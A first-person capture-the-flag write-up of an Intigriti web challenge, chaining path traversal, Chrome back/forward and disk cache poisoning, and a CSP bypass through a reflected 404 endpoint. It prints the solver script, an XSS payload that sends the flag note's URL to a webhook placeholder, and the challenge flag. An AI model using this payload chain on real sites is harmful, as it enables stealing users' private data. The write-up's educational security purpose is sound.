Introduction
This is my first CTF writeup. Thanks to 0xGodson_ and BrunoModificato for making this challenge.
Recon
Looking at the source code of the site, we can find this github repository containing the backend code:
<!-- We are OpenSource Now! https://github.com/0xGodson/notes-app-2.0 -->
The site, located at https://challenge-0323.intigriti.io/, is a note-taking application with basic functionality for creating and opening notes. These notes are discoverable from the /notes
endpoint only with the session from which they were made. The flag is submitted to a note by a bot when you visit the /visit
endpoint.
XSS
From the fact that the flag is only available from the bot, we deduce that we have to execute some XSS on the bot. So, we look for XSS sinks in the website:
1.The frontend code for /note/:id
contains
window.noteContent.innerHTML = DOMPurify.sanitize(data, {FORBID_TAGS: ['style']}); // no CSS Injection
2.The backend code for /debug
contains
// DEBUG Endpoints
// TODO: Remove this before moving to prod
app.get("/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/:id", (req, res) => {
let mode = req.headers["mode"];
if (mode === "read") {
res.send(getPostByID(req.params.id).note);
} else {
return res.status(404).send("404");
}
});
But in both endpoints there are issues with injecting an XSS. The /note/:id
endpoint sanitizes the note data with the latest version of DOMPurify, so there will be no way to place an XSS there without a 0-day. Meanwhile, the /debug
endpoint requires the mode: read
header to get the note data reflected in the response.
Is there anywhere in the code that naturally uses a mode: read
header? In fact, the frontend code for /note/:id
gets the note data with:
id = params.get("id").trim().replace(/\s\r/,'');
fetch(`/note/${id}`, {
method: 'GET',
headers: {
'mode': 'read'
},
})
.then(response => {
return response.text()
})
.then(data => {
if (data) {
window.noteContent.innerHTML = DOMPurify.sanitize(data, {FORBID_TAGS: ['style']}); // no CSS Injection
} else {
document.getElementsByClassName("msg-info")[0].innerHTML="404 ðŸ˜"
window.noteContent.innerHTML = "404 ðŸ˜"
}
})
The value for the id
variable comes from a url parameter that we can control, so we could use a path traversal attack like ../debug
to make it request note data from the debug endpoint instead.
However, even if we do, DOMPurify’s sanitization is applied to the response before being set to the DOM. This is problematic, as it seems to be the only place that XSS could conceivably occur given the header requirement on /debug
.
Controlling the Cache
Currently our problem is making the bot access /debug
outside of /note/:id
with the required mode: read
header. In other words, we want the response to our request to /debug
from /note/:id
to be presented as is at the /debug
endpoint, without sanitization. This idea of preserving a response prompts us to think about taking advantage of browser page caching.
In fact, this challenge shares a lot of similarities with a recent CTF challenge. The solution describes some useful cache behaviour:
- Chrome has a bfcache (backwards-forwards cache) and a disk cache.
- Both caches are used when accessing pages with backwards/forwards navigation.
- If the bfcache and disk cache are available, the bfcache will take priority for access if a resource is cached in both.
- The disk cache caches fetched resources.
- The bfcache is disabled on windows opened with
window.open
. - We can clear cached versions of a particular page by receiving an error status code (like 404) from requesting that page.
First, we direct the bot to execute window.open
on the /debug
page. It will receive a 404, clearing any cached versions for the page and allowing us to backwards navigate to the page later. Then, we make the bot visit /note/:id
and make the fetch request to /debug
with mode: read
. As per the cache behaviour described above, the response from /debug
will be cached to the disk cache. To view the cached response, we make the bot backwards navigate to /debug
. Because the window was opened with window.open
, the disk cache will take priority over the disabled bfcache and our intentionally cached response will be viewed.
This explanation is more intuitive when looking at the solution script to execute the exploit:
const debugEndpoint = "/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/"
// open the debug note to get a 404, clearing previous cache
const evilWindow = window.open(`${victimHost}/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/${noteId}`);
await delay(1000);
// go to /note/:id w/ path traversal id parameter and get debug note cached
evilWindow.location = `${victimHost}/note/${noteId}?id=../debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/${noteId}`;
await delay(1000);
// back.html runs history.go(-2) to backwards navigate 2 pages, accessing the cached debug note
evilWindow.location = `${location.origin}/back.html`; Â
// the client is rendering the note at /debug as html!
await delay(1000);
Bypassing the CSP
But now, we must consider what we want to put in the note retrieved by /debug
. If we just put <script>...</script>
, we’ll find that we run into an obstacle that we’ve ignored up until now: the Content Security Policy.
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; style-src fonts.gstatic.com fonts.googleapis.com 'self' 'unsafe-inline'; font-src s.gstatic.com 'self'; script-src 'self'; base-uri 'self' frame-src 'self'; frame-ancestors 'self'; object-src 'none';"
);
next();
});
The first reaction to encountering a CSP should be to consult google’s CSP evaluator. The evaluator points out that the self
value for the script-src
parameter could be problematic if the site hosts user-controlled scripts. We will try to search for such behaviour.
Looking for endpoints on the server that reflect user input, we discover that the wildcard /*
endpoint reflects user input:
app.get("*", (req, res) => {
res.setHeader("content-type", "text/plain"); // no xss)
res.status = 404;
try {
return res.send("404 - " + encodeURI(req.path));
} catch {
return res.send("404");
}
});
For example, if we access /abcd
, we’ll get the response 404 - /abcd
. But how could we store a script here?
Well, what if we started our payload with 0/;
? Then the response would be 404 - /0/;
, which is a valid statement in javascript (an integer minus a regex) that could be continued with additional javascript statements.
However, our input is also going to go through encodeURI(req.path)
. From the MDN web docs, this tells us that we will only be able to use these characters:
A–Z a–z 0–9 - _ . ! ~ * ' ( )
; / ? : @ & = + $ , #
A traditional approach here will not work as we want to execute a sequence of requests. If we want to use fetch
, we will need to use the curly brackets {}
or arrow brackets >
at some point to declare a function (either an async function to use await fetch()
within, or callback functions for .then()
chaining).
However, if we instead use the synchronous XMLHttpRequest
to issue the request, we do not need to declare any functions. Through this observation, we arrive at this payload to exfiltrate the url of the flag note:
/0/;const/**/r=new/**/XMLHttpRequest();r.open('GET','/notes',false);r.send(null);const/**/data=r.responseText;const/**/f=new/**/XMLHttpRequest();f.open('GET','/visit'+String.fromCharCode(0x3F)+'url=<webhook_url>/'+(new/**/DOMParser).parseFromString(data,'text/html').getElementsByTagName('a').item(0).href,false);f.send(null);
Our final payload will thus be:
<script src="/0/;const/**/r=new/**/XMLHttpRequest();r.open('GET','/notes',false);r.send(null);const/**/data=r.responseText;const/**/f=new/**/XMLHttpRequest();f.open('GET','/visit'+String.fromCharCode(0x3F)+'url=<webhook_url>'+(new/**/DOMParser).parseFromString(data,'text/html').getElementsByTagName('a').item(0).href,false);f.send(null);"></script>
Conclusion
Now we just need to:
- Submit this payload as a note.
- Direct the bot to our attacker site.
- From the attacker site, poison the bot’s cache and make it render our payload as HTML, exfiltrating the URL of the note with the flag.
- Check our webhook for the URL of the note with the flag.
Executing this process, we obtain the flag.
The flag is INTIGRITI{b4ckw4rD_f0rw4rd_c4ch3_x55_3h?}
.
Thanks again to the authors 0xGodson and BrunoModificato for the interesting challenge.